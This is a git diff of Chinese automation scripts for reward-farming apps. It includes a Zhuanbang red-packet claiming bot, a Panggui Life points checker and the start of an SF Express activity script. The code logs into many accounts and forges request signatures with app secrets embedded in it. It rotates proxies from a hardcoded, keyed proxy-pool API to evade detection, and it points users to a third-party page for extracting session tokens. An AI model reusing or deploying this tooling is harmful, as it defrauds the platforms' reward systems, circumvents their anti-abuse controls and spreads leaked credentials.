if start_index == -1:
|
||||
break
|
||||
end_index = source.find(after_text, start_index + len(before_text))
|
||||
if end_index == -1:
|
||||
break
|
||||
results.append(source[start_index + len(before_text) : end_index])
|
||||
start_index = end_index + len(after_text)
|
||||
if not all_matches:
|
||||
break
|
||||
return results if all_matches else results[0] if results else ""
|
||||
|
||||
def _make_sign(self):
|
||||
sha_str = hashlib.sha1(
|
||||
f"{self._csrf_token}#{self._session_id}#{self._time}".encode("utf-8")
|
||||
)
|
||||
return sha_str.hexdigest()
|
||||
|
||||
def _login(self):
|
||||
try:
|
||||
login_url = "https://app.zhuanbang.net/cas/login"
|
||||
init_response = self._session.get(login_url)
|
||||
self._csrf_token = self._extract_middle_text(
|
||||
init_response.text,
|
||||
'<input type="hidden" name="_csrf_token" value="',
|
||||
'"',
|
||||
)
|
||||
self._cookie = init_response.cookies.get("NiuToken")
|
||||
if self._cookie and self._csrf_token:
|
||||
login_data = {
|
||||
"_csrf_token": self._csrf_token,
|
||||
"_target_path": "",
|
||||
"_username": self._phone,
|
||||
"_password": self._password,
|
||||
}
|
||||
login_url = f"https://app.zhuanbang.net/cas/login?_random={int(time.time() * 1000)}"
|
||||
login_response = self._session.post(
|
||||
login_url, data=login_data, headers=self._headers
|
||||
)
|
||||
try:
|
||||
loginKeys = login_response.cookies.keys()
|
||||
if len(loginKeys):
|
||||
print(f"[{self._nick_name}] 登录成功~")
|
||||
return True
|
||||
else:
|
||||
print(f"[{self._nick_name}] 登录失败!")
|
||||
return False
|
||||
except Exception as e:
|
||||
# 如果解析JSON失败或响应中没有预期的键,这里会捕获异常
|
||||
error_message = str(e)
|
||||
error_message = (
|
||||
self._extract_middle_text(
|
||||
login_response.text, "<title>", "</title>"
|
||||
)
|
||||
or "登录请求结果异常"
|
||||
)
|
||||
print(f"[{self._nick_name}] 登录时发生错误:{error_message}")
|
||||
return False
|
||||
print(f'[{self._nick_name}] 初始化登录失败:{init_response.json()["msg"]}')
|
||||
return False
|
||||
except Exception as e:
|
||||
print("登录请求异常:", e)
|
||||
|
||||
def _video(self, key):
|
||||
i = 0
|
||||
while True:
|
||||
i += 1
|
||||
launch_url = f"https://app.zhuanbang.net/{key}/launch?_random={int(time.time() * 1000)}&type=slide"
|
||||
launch_response = self._session.get(launch_url).json()
|
||||
if launch_response.get("code") == 0:
|
||||
self._csrf_token = launch_response["data"]["extArgs"]["csrfToken"]
|
||||
self._session_id = launch_response["data"]["extArgs"]["sessionId"]
|
||||
self._time = int(time.time())
|
||||
award_url = (
|
||||
f"https://app.zhuanbang.net/{key}/award/grant?_t={self._time}"
|
||||
)
|
||||
award_data = {
|
||||
"csrfToken": self._csrf_token,
|
||||
"deviceId": self._session_id,
|
||||
"timestamp": str(self._time),
|
||||
"sign": self._make_sign(),
|
||||
}
|
||||
award_response = self._session.post(award_url, data=award_data).json()
|
||||
if award_response.get("code") == 0:
|
||||
print(
|
||||
f"[{self._nick_name}] 领取第[{i}]个红包成功,获得[{award_response['data']['awardMoney']}]元"
|
||||
)
|
||||
else:
|
||||
print(
|
||||
f"[{self._nick_name}] 领取第[{i}]个红包失败---[{award_response['msg']}]"
|
||||
)
|
||||
break
|
||||
else:
|
||||
print(
|
||||
f"[{self._nick_name}] 领取第[{i}]个红包失败---[{launch_response['msg']}]"
|
||||
)
|
||||
break
|
||||
time.sleep(random.randint(20, 48))
|
||||
|
||||
def _execute_task(self, task_key):
|
||||
self._headers = self._initialize_headers()
|
||||
self._video(task_key)
|
||||
|
||||
def run_tasks(self, tasks):
|
||||
for task in tasks:
|
||||
print(
|
||||
f'[{self._nick_name}] 开始执行任务[{"快手视频任务" if tasks == "kwai_video" else "抖音视频任务"}]'
|
||||
)
|
||||
self._execute_task(task)
|
||||
|
||||
|
||||
def process_account(phone_password):
|
||||
client = ZBClient(*phone_password.split("#"))
|
||||
if client._login():
|
||||
client.run_tasks(["kwai_video", "pangle_video"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
accounts = os.getenv("zhuanbang_accounts", "").split("&")
|
||||
print(
|
||||
f"\n======== ▷ 开始启动脚本 ◁ ========\n\n当前脚本版本:赚榜 V1.00 \n幻生提示:获取到 {len(accounts) or 0} 个账号 {moreTip}\n{inviteMsg}\n不会配置?可以付费咨询 🤪\n\n{'-' * 36}\n"
|
||||
)
|
||||
if accounts and len(accounts):
|
||||
print(f"一共获取到{len(accounts)}个账号")
|
||||
for account in accounts:
|
||||
process_account(account)
|
||||
# 报错看不到,不好排错,注释
|
||||
# with ThreadPoolExecutor(max_workers=5) as executor:
|
||||
# for account in accounts:
|
||||
# executor.submit(process_account, account)
|
||||
print(f"\n======== ▷ 脚本运行完毕 ◁ ========\n")
|
||||
else:
|
||||
print(f"当前无账号,请先配置下 账号!")
|
||||
1236
胖乖/胖乖生活.py
Normal file
1236
胖乖/胖乖生活.py
Normal file
File diff suppressed because it is too large
Load Diff
482
胖乖/胖乖生活余额查询.py
Normal file
482
胖乖/胖乖生活余额查询.py
Normal file
@@ -0,0 +1,482 @@
|
||||
"""
|
||||
* 胖乖生活积分余额查询
|
||||
* 设置变量 PGSH_TOKEN ,多号使用回车隔开,青龙直接新建变量即可 ,网页获取ck:https://bigostk.github.io/pg/
|
||||
* cron:02 12 * * 6
|
||||
"""
|
||||
|
||||
##############################
|
||||
ck = ''
|
||||
ckurl1 = "" # 数据库地址,适配部分群友要求
|
||||
jh = False # 聚合ck模式,开启即所有环境模式ck都生效,都会合成为一个ck列表,关闭则优先处理环境变量,默认为True,False为关闭
|
||||
|
||||
#############################
|
||||
# -----运行模式配置区,自行配置------
|
||||
|
||||
bf1 = True # True开启并发,False关闭并发
|
||||
bfsum1 = 3 # 并发数,开启并发模式生效
|
||||
lljf = 1 # 运行新版浏览任务,22金币,只有10天
|
||||
|
||||
# -------推送配置区,自行填写-------
|
||||
|
||||
ts1 = False # True开启推送,False关闭推送
|
||||
|
||||
# -------代理配置区,自行填写-------
|
||||
|
||||
dl1 = False # True开启代理,False关闭代理
|
||||
dl_url = 'http://api.xiequ.cn/VAD/GetIp.aspx?act=getturn82&uid=150098&vkey=617AF361D1745BECBC40DD5707FF3C27&num=1&time=6&plat=1&re=0&type=7&so=1&group=51&ow=1&spl=4&addr=&db=1' # 代理池api
|
||||
|
||||
# -----代理时间配置区,秒为单位------
|
||||
|
||||
dl_sleep = 30 # 代理切换时间
|
||||
qqtime = 6 # 请求超时时间
|
||||
|
||||
# -----时间配置区,默认即可------
|
||||
|
||||
a = "1"
|
||||
b = "23" # 表示6-22点之间才执行任务
|
||||
|
||||
#############################
|
||||
# ---------勿动区----------
|
||||
|
||||
# 已隐藏乾坤于此区域
|
||||
|
||||
###########################
|
||||
# ---------代码块---------
|
||||
|
||||
import requests
|
||||
import time
|
||||
import random
|
||||
import string
|
||||
import os
|
||||
import json
|
||||
import hashlib
|
||||
import threading
|
||||
from functools import partial
|
||||
from urllib.parse import urlparse
|
||||
from datetime import datetime, timedelta
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from urllib3.exceptions import InsecureRequestWarning
|
||||
from requests_toolbelt import MultipartEncoder
|
||||
|
||||
dl = os.environ.get('pg_dl', dl1)
|
||||
proxy_api_url = os.environ.get('pg_dlurl', dl_url)
|
||||
bf = os.environ.get('pg_bf', bf1)
|
||||
bfsum = os.environ.get('pg_bfsum', bfsum1)
|
||||
ts = os.environ.get('pg_ts', ts1)
|
||||
ckurl = os.environ.get('pg_ckurl', ckurl1)
|
||||
WxPusher_uid = os.environ.get('pg_WxPusher_uid')
|
||||
WxPusher_token = os.environ.get('pg_WxPusher_token')
|
||||
pushplus_token = os.environ.get('pg_pushplus_token')
|
||||
|
||||
# def check_yl():
|
||||
# lb = ['requests', 'urllib3']
|
||||
# for yl in lb:
|
||||
# try:
|
||||
# subprocess.check_call(["pip", "show", yl], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
||||
# except subprocess.CalledProcessError:
|
||||
# print(f"{yl} 未安装,开始安装...")
|
||||
# subprocess.check_call(["pip", "install", yl, "-i", "https://pypi.tuna.tsinghua.edu.cn/simple"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
||||
# print(f"{yl} 安装完成")
|
||||
# check_yl()
|
||||
|
||||
v = '6.6.6'
|
||||
|
||||
global_proxy = {
|
||||
'http': None,
|
||||
'https': None
|
||||
}
|
||||
|
||||
|
||||
def start_dlapi():
|
||||
dlstart = threading.Thread(target=get_proxy, args=(stop_event,))
|
||||
dlstart.start()
|
||||
|
||||
|
||||
stop_event = threading.Event()
|
||||
|
||||
|
||||
def get_proxy(stop_event):
|
||||
global global_proxy, ipp
|
||||
a = 0
|
||||
while not stop_event.is_set():
|
||||
a += 1
|
||||
response = requests.get(proxy_api_url)
|
||||
if response.status_code == 200:
|
||||
proxy1 = response.text.strip()
|
||||
if "白名单" not in proxy1:
|
||||
print(f'✅第{a}次获取代理成功: {proxy1}')
|
||||
ipp = proxy1.split(':')[0]
|
||||
global_proxy = {
|
||||
'http': proxy1,
|
||||
'https': proxy1,
|
||||
}
|
||||
start_time = time.time()
|
||||
while time.time() - start_time < dl_sleep:
|
||||
if ip():
|
||||
print("✅代理检测通过,可以使用")
|
||||
time.sleep(2)
|
||||
else:
|
||||
print(f'❎当前ip不可用,第{a}次重新获取!')
|
||||
break
|
||||
continue
|
||||
else:
|
||||
print(f"请求代理池: {proxy1}")
|
||||
print("响应中存在白名单字样,结束运行")
|
||||
os._exit(0)
|
||||
else:
|
||||
print(f'❎第{a}次获取代理失败!重新获取!')
|
||||
time.sleep(dl_sleep)
|
||||
continue
|
||||
|
||||
|
||||
def ip():
|
||||
try:
|
||||
if global_proxy:
|
||||
r = requests.get('http://httpbin.org/ip', proxies=global_proxy, timeout=10, verify=False)
|
||||
else:
|
||||
r = requests.get('http://httpbin.org/ip')
|
||||
if r.status_code == 200:
|
||||
ip = r.json()["origin"]
|
||||
print(f"当前IP: {ip}")
|
||||
return ip
|
||||
else:
|
||||
print(f"❎查询ip失败")
|
||||
return None
|
||||
except requests.RequestException as e:
|
||||
print(f"❎查询ip错误")
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f"❎查询ip错误")
|
||||
return None
|
||||
|
||||
|
||||
def p(p):
|
||||
if len(p) == 11:
|
||||
return p[:3] + '****' + p[7:]
|
||||
else:
|
||||
return p
|
||||
|
||||
|
||||
class PGSH:
|
||||
def __init__(self, cki):
|
||||
self.msg = None
|
||||
self.messages = []
|
||||
self.title = None
|
||||
self.phone = None
|
||||
self.token = cki.split('#')[0]
|
||||
self.cook = cki
|
||||
self.total_amount = 0
|
||||
self.id = None
|
||||
self.hd = {
|
||||
'User-Agent': "okhttp/3.14.9",
|
||||
'Accept': 'application/json, text/plain, */*',
|
||||
'Version': "1.57.2",
|
||||
'Content-Type': "application/x-www-form-urlencoded;charset=UTF-8",
|
||||
'Authorization': self.token,
|
||||
'channel': "android_app"
|
||||
}
|
||||
self.hd1 = {
|
||||
'User-Agent': "okhttp/3.14.9",
|
||||
'Connection': "Keep-Alive",
|
||||
'Accept-Encoding': "gzip",
|
||||
'Authorization': self.token,
|
||||
'Version': "1.57.2",
|
||||
'channel': "android_app",
|
||||
'phoneBrand': "Redmi",
|
||||
'Content-Type': "application/x-www-form-urlencoded;charset=UTF-8"
|
||||
}
|
||||
self.listUrl = 'https://userapi.qiekj.com/task/list'
|
||||
self.phone_url = 'https://userapi.qiekj.com/user/info'
|
||||
self.check_url = 'https://userapi.qiekj.com/user/balance'
|
||||
self.rcrw_url = 'https://userapi.qiekj.com/task/completed'
|
||||
self.sign_url = 'https://userapi.qiekj.com/signin/doUserSignIn'
|
||||
self.jrjf_url = "https://userapi.qiekj.com/integralRecord/pageList"
|
||||
self.dkbm_url = 'https://userapi.qiekj.com/markActivity/doApplyTask'
|
||||
self.dkbm_url1 = 'https://userapi.qiekj.com/markActivity/doMarkTask'
|
||||
self.shop_url = 'https://userapi.qiekj.com/integralUmp/rewardIntegral'
|
||||
self.jtjl_url = 'https://userapi.qiekj.com/ladderTask/applyLadderReward'
|
||||
self.dkbm_url2 = "https://userapi.qiekj.com/markActivity/markTaskReward"
|
||||
self.bmcodeurl = 'https://userapi.qiekj.com/markActivity/queryMarkTaskByStartTime'
|
||||
|
||||
# 签名
|
||||
def sg(self, y):
|
||||
timestamp = str(int(time.time() * 1000))
|
||||
parsed_url = urlparse(y)
|
||||
path = parsed_url.path
|
||||
data = f"appSecret=nFU9pbG8YQoAe1kFh+E7eyrdlSLglwEJeA0wwHB1j5o=&channel=android_app×tamp={timestamp}&token={self.token}&version=1.57.2&{path}"
|
||||
data1 = f"appSecret=Ew+ZSuppXZoA9YzBHgHmRvzt0Bw1CpwlQQtSl49QNhY=&channel=alipay×tamp={timestamp}&token={self.token}&{path}"
|
||||
sign = hashlib.sha256(data.encode()).hexdigest()
|
||||
sign1 = hashlib.sha256(data1.encode()).hexdigest()
|
||||
return sign, sign1, timestamp
|
||||
|
||||
# 读取指定值是否存在
|
||||
def duqu(self, aa, rw, dk, dt):
|
||||
try:
|
||||
if not os.path.exists("./pgsh.json"):
|
||||
with open("./pgsh.json", "w") as file:
|
||||
json.dump({}, file)
|
||||
|
||||
with open("./pgsh.json", "r") as file:
|
||||
try:
|
||||
data = json.load(file)
|
||||
except json.decoder.JSONDecodeError:
|
||||
data = {}
|
||||
if rw == 1:
|
||||
if str(aa) in data:
|
||||
return data[str(aa)]["rw"]
|
||||
else:
|
||||
return False
|
||||
elif dk == 1:
|
||||
if str(aa) in data:
|
||||
return data[str(aa)]["dk"]
|
||||
else:
|
||||
return False
|
||||
elif dt == 1:
|
||||
if str(aa) in data:
|
||||
return data[str(aa)]["dt"]
|
||||
else:
|
||||
return False
|
||||
except Exception as e:
|
||||
print(f"读取记录文件出现错误,初始化文件内容")
|
||||
with open("./pgsh.json", "w") as file:
|
||||
json.dump({}, file)
|
||||
|
||||
# 今日积分
|
||||
def jrjf(self, i, token1 ,source):
|
||||
token = token1.split('#')[0]
|
||||
try:
|
||||
hd1 = {
|
||||
'User-Agent': "okhttp/3.14.9",
|
||||
'Accept': 'application/json, text/plain, */*',
|
||||
'Version': "1.57.2",
|
||||
'Content-Type': "application/x-www-form-urlencoded;charset=UTF-8",
|
||||
'Authorization': token,
|
||||
'channel': "android_app"
|
||||
}
|
||||
data = {'token': token}
|
||||
sign, sign1, timestamp = self.sg(self.phone_url)
|
||||
self.hd['sign'] = sign
|
||||
self.hd['timestamp'] = timestamp
|
||||
r = requests.post(self.phone_url, data=data, headers=hd1).json()
|
||||
if r['code'] == 0:
|
||||
try:
|
||||
sign, sign1, timestamp = self.sg(self.check_url)
|
||||
self.hd['sign'] = sign
|
||||
self.hd['timestamp'] = timestamp
|
||||
r1 = requests.post(self.check_url, data=data, headers=hd1).json()
|
||||
coin_code = r1['code']
|
||||
balance = r1['data']['integral'] if coin_code == 0 else 'N/A'
|
||||
except Exception as e:
|
||||
print(f"获取积分失败: {e}")
|
||||
balance = 'N/A'
|
||||
|
||||
try:
|
||||
phone = p(r['data']['phone'])
|
||||
data = {
|
||||
'page': (None, '1'),
|
||||
'pageSize': (None, '100'),
|
||||
'type': (None, '100'),
|
||||
'receivedStatus': (None, '1'),
|
||||
'token': (None, token),
|
||||
}
|
||||
hd = {
|
||||
'User-Agent': 'Mozilla/5.0 (Linux; Android 14; 23117RK66C Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 AgentWeb/5.0.0 UCBrowser/11.6.4.950 com.qiekj.QEUser',
|
||||
'Accept': 'application/json, text/plain, */*',
|
||||
'channel': 'android_app',
|
||||
}
|
||||
re_response = requests.post(self.jrjf_url, headers=hd, files=data).json()
|
||||
current_date = datetime.now().strftime('%Y-%m-%d')
|
||||
total_amount = 0
|
||||
xieru_tips = ''
|
||||
default_num = 170
|
||||
for item in re_response['data']['items']:
|
||||
received_date = item['receivedTime'][:10]
|
||||
if received_date == current_date:
|
||||
total_amount += item['amount']
|
||||
if source == 2:
|
||||
if total_amount >= default_num and self.name(2):
|
||||
print(f"写入日志状态:{self.xieru(1, 0, 0)}")
|
||||
else:
|
||||
print(f"写入日志状态:未达标写入目标{default_num}积分")
|
||||
else:
|
||||
print(f"[{phone}] ✅今日获得积分: {total_amount},账户总积分:{balance}")
|
||||
return {
|
||||
'序号': i + 1,
|
||||
'用户': phone,
|
||||
'arg1': balance,
|
||||
'arg2': total_amount
|
||||
}
|
||||
except Exception as e:
|
||||
print(f"[账号{i + 1}] ❎查询当日积分出现错误: {e}")
|
||||
return {
|
||||
'序号': i + 1,
|
||||
'用户': i + 1,
|
||||
'arg1': f"❎",
|
||||
'arg2': f"❎"
|
||||
}
|
||||
else:
|
||||
print(f"[账号{i + 1}] ❎登录失败: {r['msg']}")
|
||||
return {
|
||||
'序号': i + 1,
|
||||
'用户': i + 1,
|
||||
'arg1': f"{r['msg']}",
|
||||
'arg2': f"{r['msg']}"
|
||||
}
|
||||
except requests.exceptions.RequestException as e:
|
||||
print(f"[账号{i + 1}] ❎网络请求错误: {e}")
|
||||
return {
|
||||
'序号': i + 1,
|
||||
'用户': i + 1,
|
||||
'arg1': f"❎",
|
||||
'arg2': f"❎"
|
||||
}
|
||||
except Exception as e:
|
||||
print(f"[账号{i + 1}] ❎查询当日积分出现错误: {e}")
|
||||
return {
|
||||
'序号': i + 1,
|
||||
'用户': i + 1,
|
||||
'arg1': f"❎",
|
||||
'arg2': f"❎"
|
||||
}
|
||||
|
||||
def jf(self):
|
||||
try:
|
||||
msg_list = []
|
||||
print(f"======开始查询所有账号当日收益======")
|
||||
for n, yy in enumerate(cookies):
|
||||
msg = self.jrjf(n, yy,1)
|
||||
msg_list.append(msg)
|
||||
sorted_data = sorted(msg_list, key=lambda x: x['序号'])
|
||||
table_content = ''
|
||||
for row in sorted_data:
|
||||
table_content += f"<tr><td style='border: 1px solid #ccc; padding: 6px;'>{row['序号']}</td><td style='border: 1px solid #ccc; padding: 6px;'>{row['用户']}</td><td style='border: 1px solid #ccc; padding: 6px;'>{row['arg1']}</td><td style='border: 1px solid #ccc; padding: 6px;'>{row['arg2']}</td></tr>"
|
||||
|
||||
self.msg = f"<table style='border-collapse: collapse;'><tr style='background-color: #f2f2f2;'><th style='border: 1px solid #ccc; padding: 8px;'>🆔</th><th style='border: 1px solid #ccc; padding: 8px;'>用户名</th><th style='border: 1px solid #ccc; padding: 8px;'>总积分</th><th style='border: 1px solid #ccc; padding: 8px;'>今日积分</th></tr>{table_content}</table>"
|
||||
if ts:
|
||||
self.send_msg()
|
||||
except Exception as e:
|
||||
print(f"查询所有账号当日收益出现错误: {e}")
|
||||
|
||||
def send_msg(self):
|
||||
if 'WxPusher_token' in os.environ and os.environ['WxPusher_token'] is not None:
|
||||
self.WxPusher_ts()
|
||||
if 'PUSH_PLUS_TOKEN' in os.environ and os.environ['PUSH_PLUS_TOKEN'] is not None:
|
||||
self.pushplus_ts()
|
||||
else:
|
||||
print("❎推送失败,未配置推送")
|
||||
|
||||
def WxPusher_ts(self):
|
||||
try:
|
||||
url = 'https://wxpusher.zjiecode.com/api/send/message'
|
||||
params = {
|
||||
'appToken': WxPusher_token,
|
||||
'content': self.msg,
|
||||
'summary': '胖乖生活',
|
||||
'contentType': 3,
|
||||
'uids': [WxPusher_uid]
|
||||
}
|
||||
re = requests.post(url, json=params)
|
||||
msg = re.json().get('msg', None)
|
||||
print(f'WxPusher推送结果:{msg}\\\n')
|
||||
except Exception as e:
|
||||
print(f"WxPusher推送出现错误: {e}")
|
||||
|
||||
def pushplus_ts(self):
|
||||
try:
|
||||
url = 'https://www.pushplus.plus/send/'
|
||||
data = {
|
||||
"token": pushplus_token,
|
||||
"title": '胖乖生活',
|
||||
"content": self.msg
|
||||
}
|
||||
re = requests.post(url, json=data)
|
||||
msg = re.json().get('msg', None)
|
||||
print(f'pushplus推送结果:{msg}\\\n')
|
||||
except Exception as e:
|
||||
print(f"pushplus推送出现错误: {e}")
|
||||
|
||||
def start(self):
|
||||
if self.name(1):
|
||||
print("-----执行领取时间段奖励-----")
|
||||
self.timejl()
|
||||
|
||||
if __name__ == '__main__':
|
||||
print(f"当前版本: {v}")
|
||||
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
||||
print = partial(print, flush=True)
|
||||
if jh:
|
||||
print("当前聚合ck模式,所有模式ck生效")
|
||||
ck1 = []
|
||||
if 'PGSH_TOKEN' in os.environ:
|
||||
ck1.append(os.environ.get('PGSH_TOKEN'))
|
||||
if ckurl != "":
|
||||
r = requests.get(ckurl)
|
||||
ck1.append(r.text.strip())
|
||||
if ck != "":
|
||||
ck1.append(ck)
|
||||
if not ck1:
|
||||
print("变量为空,请设置其中一个变量后再运行")
|
||||
exit(-1)
|
||||
cookie = '\n'.join(ck1)
|
||||
else:
|
||||
if 'PGSH_TOKEN' in os.environ:
|
||||
cookie = os.environ.get('PGSH_TOKEN')
|
||||
else:
|
||||
print("环境变量中不存在[PGSH_TOKEN],启用本地或数据库地址模式")
|
||||
if ckurl != "":
|
||||
r = requests.get(ckurl)
|
||||
cookie = r.text.strip()
|
||||
else:
|
||||
cookie = ck
|
||||
if cookie == "":
|
||||
print("本地及数据库地址变量为空,请设置其中一个变量后再运行")
|
||||
exit(-1)
|
||||
cookies = cookie.split("\n")
|
||||
print(f"胖乖生活共获取到 {len(cookies)} 个账号")
|
||||
now_time = datetime.now().hour
|
||||
if dl:
|
||||
start_dlapi()
|
||||
i = 1
|
||||
if bf:
|
||||
print("✅开启并发模式")
|
||||
if dl:
|
||||
print("✅开启代理模式")
|
||||
with ThreadPoolExecutor(max_workers=int(bfsum)) as executor:
|
||||
futures = [executor.submit(PGSH(ck).start) for ck in cookies]
|
||||
for i, future in enumerate(as_completed(futures)):
|
||||
print(f"======执行第{i + 1}个账号======")
|
||||
future.result()
|
||||
stop_event.set()
|
||||
time.sleep(2)
|
||||
PGSH(ck).jf()
|
||||
else:
|
||||
print("❎未开启代理模式")
|
||||
with ThreadPoolExecutor(max_workers=int(bfsum)) as executor:
|
||||
futures = [executor.submit(PGSH(ck).start) for ck in cookies]
|
||||
for _ in as_completed(futures):
|
||||
pass
|
||||
time.sleep(2)
|
||||
PGSH(ck).jf()
|
||||
else:
|
||||
print("✅常规运行模式")
|
||||
if dl:
|
||||
print("✅开启代理模式")
|
||||
for i, ck in enumerate(cookies):
|
||||
print(f"======开始第{i + 1}个账号======")
|
||||
now_time = datetime.now().hour
|
||||
PGSH(ck).start()
|
||||
print("2s后进行下一个账号")
|
||||
time.sleep(2)
|
||||
stop_event.set()
|
||||
time.sleep(2)
|
||||
PGSH(ck).jf()
|
||||
else:
|
||||
print("❎未开启代理模式")
|
||||
for i, ck in enumerate(cookies):
|
||||
print(f"======开始第{i + 1}个账号======")
|
||||
now_time = datetime.now().hour
|
||||
PGSH(ck).start()
|
||||
print("2s后进行下一个账号")
|
||||
time.sleep(2)
|
||||
time.sleep(2)
|
||||
PGSH(ck).jf()
|
||||
15
胖乖/胖乖生活日志清理.py
Normal file
15
胖乖/胖乖生活日志清理.py
Normal file
@@ -0,0 +1,15 @@
|
||||
# 如果出现每日积分为2,或者运行脚本自动跳过任务,运行该脚本之后再运行主脚本即可
|
||||
# cron = 01 00 * * * # 每天凌晨0点区分开始执行任务
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
# 设定要删除的脚本路径和名称
|
||||
script_path = 'pgsh.json'
|
||||
|
||||
# 检查文件是否存在
|
||||
if os.path.exists(script_path):
|
||||
os.remove(script_path)
|
||||
print(f"脚本 {script_path} 已删除。")
|
||||
else:
|
||||
print(f"脚本 {script_path} 不存在。")
|
||||
1755
顺丰/2025顺丰32周年庆.py
Normal file
1755
顺丰/2025顺丰32周年庆.py
Normal file
File diff suppressed because it is too large
Load Diff
1744
顺丰/顺丰可周年版本.py
Normal file
1744
顺丰/顺丰可周年版本.py
Normal file
File diff suppressed because it is too large
Load Diff
2132
顺丰/顺丰端午.py
Normal file
2132
顺丰/顺丰端午.py
Normal file
File diff suppressed because it is too large
Load Diff
999
顺丰/顺丰速运代理.py
Normal file
999
顺丰/顺丰速运代理.py
Normal file
@@ -0,0 +1,999 @@
|
||||
# 提醒:此脚本只适配插件提交或编码后的URL运行!
|
||||
# 提醒:此脚本只适配插件提交或编码后的URL运行!
|
||||
# 提醒:此脚本只适配插件提交或编码后的URL运行!
|
||||
|
||||
# 【常规变量】
|
||||
# 账号变量名:sfsyUrl (多号新建变量或者&)
|
||||
# 代理变量名:SF_PROXY_API_URL (支持代理API或代理池)
|
||||
|
||||
# 【采蜜活动相关变量】
|
||||
# 兑换区间设置:SFSY_DHJE (例如 "23-15" 表示优先兑换23元,换不了就换20元,最后换15元,如果只兑换23元,填写“23”即可,其余额度请自行看活动页面)
|
||||
# 是否强制兑换:SFSY_DH (填写 "true" 或 "false" 开启后 运行脚本则会进行兑换 关闭后 只有活动结束当天运行才进行兑换 默认为关闭状态)
|
||||
# 面额兑换次数:SFSY_DHCS (默认为3次,相当于23的卷会尝试兑换3次)
|
||||
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import time
|
||||
from datetime import datetime, timedelta
|
||||
from sys import exit
|
||||
import requests
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
from urllib.parse import unquote
|
||||
|
||||
# 禁用安全请求警告
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
EXCHANGE_RANGE = os.getenv('SFSY_DHJE', '23') # 默认:23-15
|
||||
FORCE_EXCHANGE = os.getenv('SFSY_DH', 'false').lower() == 'true' # 默认:false
|
||||
MAX_EXCHANGE_TIMES = int(os.getenv('SFSY_DHCS', '3')) # 默认:3
|
||||
PROXY_API_URL = os.getenv('SF_PROXY_API_URL', '') # 从环境变量获取代理API地址
|
||||
AVAILABLE_AMOUNTS = ['23元', '20元', '15元', '10元', '5元', '3元', '2元', '1元']
|
||||
|
||||
|
||||
def parse_exchange_range(exchange_range):
|
||||
if '-' in exchange_range:
|
||||
try:
|
||||
start_val, end_val = exchange_range.split('-')
|
||||
start_val = int(start_val.strip())
|
||||
end_val = int(end_val.strip())
|
||||
|
||||
target_amounts = []
|
||||
for amount in AVAILABLE_AMOUNTS:
|
||||
amount_val = int(amount.replace('元', ''))
|
||||
if end_val <= amount_val <= start_val:
|
||||
target_amounts.append(amount)
|
||||
|
||||
return target_amounts
|
||||
except:
|
||||
print(f"❌ 兑换区间配置错误: {exchange_range}")
|
||||
return ['23元'] # 默认返回23元
|
||||
else:
|
||||
if exchange_range.endswith('元'):
|
||||
return [exchange_range]
|
||||
else:
|
||||
return [f"{exchange_range}元"]
|
||||
|
||||
|
||||
def get_proxy():
|
||||
try:
|
||||
if not PROXY_API_URL:
|
||||
print('⚠️ 未配置代理API地址,将不使用代理')
|
||||
return None
|
||||
|
||||
response = requests.get(PROXY_API_URL, timeout=10)
|
||||
if response.status_code == 200:
|
||||
proxy_text = response.text.strip()
|
||||
if ':' in proxy_text:
|
||||
proxy = f'http://{proxy_text}'
|
||||
return {
|
||||
'http': proxy,
|
||||
'https': proxy
|
||||
}
|
||||
print(f'❌ 获取代理失败: {response.text}')
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f'❌ 获取代理异常: {str(e)}')
|
||||
return None
|
||||
|
||||
|
||||
send_msg = ''
|
||||
one_msg = ''
|
||||
|
||||
|
||||
def Log(cont=''):
|
||||
global send_msg, one_msg
|
||||
print(cont)
|
||||
if cont:
|
||||
one_msg += f'{cont}\n'
|
||||
send_msg += f'{cont}\n'
|
||||
|
||||
|
||||
inviteId = ['']
|
||||
|
||||
|
||||
class RUN:
|
||||
def __init__(self, info, index):
|
||||
global one_msg
|
||||
one_msg = ''
|
||||
split_info = info.split('@')
|
||||
url = split_info[0]
|
||||
len_split_info = len(split_info)
|
||||
last_info = split_info[len_split_info - 1]
|
||||
self.send_UID = None
|
||||
if len_split_info > 0 and "UID_" in last_info:
|
||||
self.send_UID = last_info
|
||||
self.index = index + 1
|
||||
|
||||
self.proxy = get_proxy()
|
||||
if self.proxy:
|
||||
print(f"✅ 成功获取代理: {self.proxy['http']}")
|
||||
|
||||
self.s = requests.session()
|
||||
self.s.verify = False
|
||||
if self.proxy:
|
||||
self.s.proxies = self.proxy
|
||||
|
||||
self.headers = {
|
||||
'Host': 'mcs-mimp-web.sf-express.com',
|
||||
'upgrade-insecure-requests': '1',
|
||||
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090551) XWEB/6945 Flue',
|
||||
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
|
||||
'sec-fetch-site': 'none',
|
||||
'sec-fetch-mode': 'navigate',
|
||||
'sec-fetch-user': '?1',
|
||||
'sec-fetch-dest': 'document',
|
||||
'accept-language': 'zh-CN,zh',
|
||||
'platform': 'MINI_PROGRAM',
|
||||
}
|
||||
|
||||
self.login_res = self.login(url)
|
||||
self.all_logs = []
|
||||
self.today = datetime.now().strftime('%Y-%m-%d')
|
||||
self.member_day_black = False
|
||||
self.member_day_red_packet_drew_today = False
|
||||
self.member_day_red_packet_map = {}
|
||||
self.max_level = 8
|
||||
self.packet_threshold = 1 << (self.max_level - 1)
|
||||
self.is_last_day = False
|
||||
self.auto_exchanged = False
|
||||
self.exchange_count = 0
|
||||
